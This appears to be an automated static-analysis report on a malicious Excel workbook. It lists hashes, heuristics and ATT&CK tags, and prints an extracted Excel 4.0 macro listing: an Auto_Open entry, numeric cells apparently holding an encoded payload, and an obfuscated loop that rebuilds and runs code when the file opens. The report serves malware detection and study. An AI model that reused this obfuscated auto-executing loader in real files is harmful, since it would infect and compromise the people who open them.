Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 43fae8cb27c8d47e…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:44:12 Authoring application: Microsoft Excel First seen: 2021-09-15
MD5: 9c398b61a87eb9135414a8c86bf0ffb5 SHA-1: 5bededf42a7cee115934d26e17d436ba4e9f287f SHA-256: 43fae8cb27c8d47e91b35d72e801c639381a78066011ff1091755a84efd81c6c
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding. This indicates the macro will execute automatically upon opening the workbook. The presence of dangerous formula APIs further suggests malicious intent, likely to download and execute a secondary payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6751 bytes
SHA-256: 195f910e5006d0699973a980e87716932bda082f4a2432b166ca6dcda9841f7e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  eDdyFLC
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B180 
' 0018     24 LABEL : Cell Value, String Constant - fgVuMnOnh len=0 
' 0018     27 LABEL : Cell Value, String Constant - FMGteRuWNjhM len=0 
' 0018     21 LABEL : Cell Value, String Constant - HKoTao len=0 
' 0018     22 LABEL : Cell Value, String Constant - ilYWoPf len=0 
' 0018     20 LABEL : Cell Value, String Constant - kgLIY len=0 
' 0018     23 LABEL : Cell Value, String Constant - OEzHEBwX len=0 
' 0018     24 LABEL : Cell Value, String Constant - ryFSUxndk len=0 
' 0018     23 LABEL : Cell Value, String Constant - tDbXYMQK len=0 
' 0018     26 LABEL : Cell Value, String Constant - TfFXkUCyqbv len=0 
' 0018     20 LABEL : Cell Value, String Constant - tpVYv len=0 
' 0018     25 LABEL : Cell Value, String Constant - TYYNUtZKmg len=0 
' 0018     26 LABEL : Cell Value, String Constant - vrHAZkxSkzf len=0 
' 0018     22 LABEL : Cell Value, String Constant - WdqnEAK len=0 
' 0018     27 LABEL : Cell Value, String Constant - wEiGiiVoBFBG len=0 
' 0018     27 LABEL : Cell Value, String Constant - yhzxgWxFbRMA len=0 
' 0018     27 LABEL : Cell Value, String Constant - zHpWiZjpzHcE len=0 
' 0018     27 LABEL : Cell Value, String Constant - zIxOMSUDGjij len=0 
' 0018     21 LABEL : Cell Value, String Constant - zJviWc len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZvCXcBKvcB len=0 
' 0018     21 LABEL : Cell Value, String Constant - zxoEyc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  eDdyFLC,R54,"",-654.00000000000000000000
'  eDdyFLC,R55,"",-740.00000000000000000000
'  eDdyFLC,R56,"",696.00000000000000000000
'  eDdyFLC,R57,"",-543.00000000000000000000
'  eDdyFLC,R58,"",603.00000000000000000000
'  eDdyFLC,R59,"",865.00000000000000000000
'  eDdyFLC,B88,"SET.NAME("TYYNUtZKmg",0+VALUE("0"))",""
'  eDdyFLC,B90,"SET.NAME("TfFXkUCyqbv",TYYNUtZKmg)",""
'  eDdyFLC,B95,"SET.NAME("zxoEyc",TYYNUtZKmg)",""
'  eDdyFLC,B99,"SET.NAME("HKoTao",COUNTA(wEiGiiVoBFBG))",""
'  eDdyFLC,B103,"SET.NAME("vrHAZkxSkzf",COUNTA(yhzxgWxFbRMA))",""
'  eDdyFLC,B107,[],""
'  eDdyFLC,B112,"SET.NAME("OEzHEBwX","")",""
'  eDdyFLC,B115,"TfFXkUCyqbv",""
'  eDdyFLC,B119,"SET.NAME("ilYWoPf",HLOOKUP("*",wEiGiiVoBFBG,TfFXkUCyqbv,FALSE))",""
'  eDdyFLC,B124,"zHpWiZjpzHcE",""
'  eDdyFLC,B127,"SET.NAME("tpVYv",TYYNUtZKmg)",""
'  eDdyFLC,B131,[],""
'  eDdyFLC,B133,"tpVYv",""
'  eDdyFLC,B136,"zIxOMSUDGjij",""
'  eDdyFLC,B141,"tDbXYMQK",""
'  eDdyFLC,B145,"WdqnEAK",""
'  eDdyFLC,B147,"SET.NAME("ZvCXcBKvcB",VALUE(HLOOKUP("*",yhzxgWxFbRMA,WdqnEAK,FALSE)))",""
'  eDdyFLC,B151,"kgLIY",""
'  eDdyFLC,B155,"OEzHEBwX",""
'  eDdyFLC,B157,"zxoEyc",""
'  eDdyFLC,B160,NEXT(),""
'  eDdyFLC,B162,"fgVuMnOnh",""
'  eDdyFLC,B164,[],""
'  eDdyFLC,B166,"ryFSUxndk",""
'  eDdyFLC,B170,NEXT(),""
'  eDdyFLC,B175,RETURN(),""
'  eDdyFLC,B203,"SET.NAME("FMGteRuWNjhM",B88)",""
'  eDdyFLC,B208,"wEiGiiVoBFBG",""
'  eDdyFLC,B213,"SET.NAME("yhzxgWxFbRMA",R87C15)",""
'  eDdyFLC,B216,"SET.NAME("ryFSUxndk",226)",""
'  eDdyFLC,B221,"SET.NAME("zJviWc",2)",""
'  eDdyFLC,B225,FMGteRuWNjhM(),""
'  eDdyFLC,B226,HALT(),""

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